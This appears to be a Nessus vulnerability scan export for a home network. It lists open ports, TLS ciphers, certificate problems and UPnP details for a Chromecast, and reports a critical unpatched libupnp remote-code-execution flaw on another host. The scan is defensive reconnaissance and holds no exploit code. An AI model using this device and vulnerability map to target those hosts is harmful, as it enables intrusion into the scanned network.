		11154						None		192.168.0.25		tcp		10001		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 10001
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

		11154						None		192.168.0.25		tcp		10101		Unknown Service Detection: Banner Retrieval		There is an unknown service running on the remote host.		Nessus was unable to identify a service on the remote host even though
it returned a banner of some type.		n/a				
If you know what this service is and think the banner could be used to
identify it, please send a description of the service along with the
following output to svc-signatures@nessus.org :

  Port   : 10101
  Type   : help
  Banner : 
0x00:  15 03 01 00 02 02 46                               ......F         
           
										None								11/18/02		7/24/18

		11219						None		192.168.0.25		tcp		8008		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8008/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		8009		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8009/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		8443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 8443/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		9000		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 9000/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		10001		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 10001/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.25		tcp		10101		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 10101/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.25		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.2
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.2
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.25		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.25 resolves as Chromecast.
										None								2/11/04		4/14/17

		19506						None		192.168.0.25		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 266 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.25		tcp		8009		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv13
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    TLS_AES_128_GCM_SHA256        0x13, 0x01       -             -        AES-GCM(128)           AEAD
    TLS_AES_256_GCM_SHA384        0x13, 0x02       -             -        AES-GCM(256)           AEAD
    TLS_CHACHA20_POLY1305_SHA256  0x13, 0x03       -             -        ChaCha20-Poly1305(256) AEAD


SSL Version : TLSv12
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    RSA-AES128-SHA256             0x00, 0x9C       RSA           RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1


SSL Version : TLSv11
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1


SSL Version : TLSv1
  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		21643						None		192.168.0.25		tcp		8443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv12
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1


SSL Version : TLSv11
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1


SSL Version : TLSv1
  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.25		tcp		8009		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.25		tcp		8443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		25220						None		192.168.0.25		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		35711						None		192.168.0.25		udp		1900		Universal Plug and Play (UPnP) Protocol Detection		The remote device supports UPnP.		The remote device answered an SSDP M-SEARCH request. Therefore, it
supports 'Universal Plug and Play' (UPnP). This protocol provides
automatic configuration and device discovery. It is primarily intended
for home networks. An attacker could potentially leverage this to
discover your network architecture.		Filter access to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play
https://en.wikipedia.org/wiki/Simple_Service_Discovery_Protocol
http://quimby.gnus.org/internet-drafts/draft-cai-ssdp-v1-03.txt		The device responded to an SSDP M-SEARCH request with the following locations :

    http://192.168.0.25:8008/ssdp/device-desc.xml

And advertises these unique service names :

    uuid:02396355-86f2-724c-b621-a89625b919e3::upnp:rootdevice
    uuid:02396355-86f2-724c-b621-a89625b919e3::urn:dial-multiscreen-org:device:dial:1
    uuid:02396355-86f2-724c-b621-a89625b919e3::urn:dial-multiscreen-org:service:dial:1

										None								2/19/09		9/12/18

		35712						None		192.168.0.25		tcp		8008		Web Server UPnP Detection		The remote web server provides UPnP information.		Nessus was able to extract some information about the UPnP-enabled
device by querying this web server. Services may also be reachable
through SOAP requests.		Filter incoming traffic to this port if desired.		https://en.wikipedia.org/wiki/Universal_Plug_and_Play		
Here is a summary of http://192.168.0.25:8008/ssdp/device-desc.xml :

deviceType: urn:dial-multiscreen-org:device:dial:1
friendlyName: Poolhouse  TV
manufacturer: Google Inc.
modelName: Eureka Dongle
modelName: Eureka Dongle
ServiceID: urn:dial-multiscreen-org:serviceId:dial
	serviceType: urn:dial-multiscreen-org:service:dial:1
	controlURL: /ssdp/notfound
	eventSubURL: /ssdp/notfound
	SCPDURL: /ssdp/notfound
										None								2/19/09		6/12/20

		35716						None		192.168.0.25		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

44:07:0B:35:00:40 : Google, Inc.
										None								2/19/09		5/13/20

		64394		CVE-2012-5958		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		42981						None		192.168.0.25		tcp		8009		SSL Certificate Expiry - Future Expiry		The SSL certificate associated with the remote service will expire
soon.		The SSL certificate associated with the remote service will expire
soon.		Purchase or generate a new SSL certificate in the near future to
replace the existing one.				
The SSL certificate will expire within 60 days, at
Nov  6 16:40:10 2020 GMT :

  Subject          : CN=02396355-86f2-724c-b621-a89625b919e3
  Issuer           : CN=02396355-86f2-724c-b621-a89625b919e3
  Not valid before : Nov  4 16:40:10 2020 GMT
  Not valid after  : Nov  6 16:40:10 2020 GMT
										None								12/2/09		9/4/20

		45410						None		192.168.0.25		tcp		8009		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  chromecast

The Common Name in the certificate is :

  02396355-86f2-724c-b621-a89625b919e3
										None								4/3/10		6/25/19

		45410						None		192.168.0.25		tcp		8443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  chromecast

The Common Name in the certificate is :

  ad49ztw fa8fca646c20
										None								4/3/10		6/25/19

		45590						None		192.168.0.25		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.2
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		50845						None		192.168.0.25		tcp		8009		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		64394		CVE-2012-5959		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		64394		CVE-2012-5960		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		54615						None		192.168.0.25		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.25		tcp		8009		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.3/TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		56984						None		192.168.0.25		tcp		8443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0/TLSv1.1/TLSv1.2.
										None								12/1/11		7/9/20

		57041						None		192.168.0.25		tcp		8009		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		57041						None		192.168.0.25		tcp		8443		SSL Perfect Forward Secrecy Cipher Suites Supported		The remote service supports the use of SSL Perfect Forward Secrecy
ciphers, which maintain confidentiality even if the key is stolen.		The remote host supports the use of SSL ciphers that offer Perfect
Forward Secrecy (PFS) encryption.  These cipher suites ensure that
recorded SSL traffic cannot be broken at a future date if the server's
private key is compromised.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
https://en.wikipedia.org/wiki/Diffie-Hellman_key_exchange
https://en.wikipedia.org/wiki/Perfect_forward_secrecy		
Here is the list of SSL PFS ciphers supported by the remote server :

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    ECDHE-RSA-AES128-SHA256       0xC0, 0x2F       ECDH          RSA      AES-GCM(128)           SHA256
    ECDHE-RSA-CHACHA20-POLY1305   0xCC, 0xA8       ECDH          RSA      ChaCha20-Poly1305(256) SHA256
    ECDHE-RSA-AES128-SHA          0xC0, 0x13       ECDH          RSA      AES-CBC(128)           SHA1
    ECDHE-RSA-AES256-SHA          0xC0, 0x14       ECDH          RSA      AES-CBC(256)           SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								12/7/11		11/15/18

		64394		CVE-2012-5961		10		Critical		192.168.0.8		udp		1900		Portable SDK for UPnP Devices (libupnp) < 1.6.18 Multiple Stack-based Buffer Overflows RCE		A network service running on the remote host is affected by multiple
remote code execution vulnerabilities.		According to its banner, the version of Portable SDK for UPnP Devices
(libupnp) running on the remote host is prior to 1.6.18. It is,
therefore, affected by multiple remote code execution
vulnerabilities :

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the DeviceType URN. An unauthenticated,
    remote attacker can exploit this, via a specially
    crafted SSDP request, to execute arbitrary code.
    (CVE-2012-5958)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to two colons. An
    unauthenticated, remote attacker can exploit this, via a
    specially crafted SSDP request, to execute arbitrary
    code. (CVE-2012-5959)

  - A stack-based buffer overflow condition exists in the
    unique_service_name() function within file
    ssdp/ssdp_server.c when handling Simple Service
    Discovery Protocol (SSDP) requests that is triggered
    while copying the UDN prior to the '::upnp:rootdevice'
    string. An unauthenticated, remote attacker can exploit
    this, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5960)

  - Multiple stack-based buffer overflow conditions exist in
    the unique_service_name() function within file
    ssdp/ssdp_server.c due to improper validation of the
    UDN, DeviceType, and ServiceType fields when parsing
    Simple Service Discovery Protocol (SSDP) requests. An
    unauthenticated, remote attacker can exploit these
    issues, via a specially crafted SSDP request, to execute
    arbitrary code. (CVE-2012-5961, CVE-2012-5962,
    CVE-2012-5963, CVE-2012-5964, CVE-2012-5965)		Upgrade to libupnp version 1.6.18 or later. If libupnp is used as a
third party library by a different application, contact the vendor of
that application for a fix.		http://www.nessus.org/u?46d66d2f
https://help.rapid7.com/?community
http://www.nessus.org/u?d381943f
http://www.nessus.org/u?8642ada6
http://www.nessus.org/u?a76191f3		
  Server banner : Linux/3.10.92-mrbox-h412, UPnP/1.0, Portable SDK for UPnP devices/1.6.13
  Source: UDP
  Installed version : 1.6.13
  Fixed version : 1.6.18
				9.8		8.3		9.1		Critical		57602		CERT:922681;EDB-ID:24455				2/1/13		3/2/20		TRUE

		70544						None		192.168.0.25		tcp		8009		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
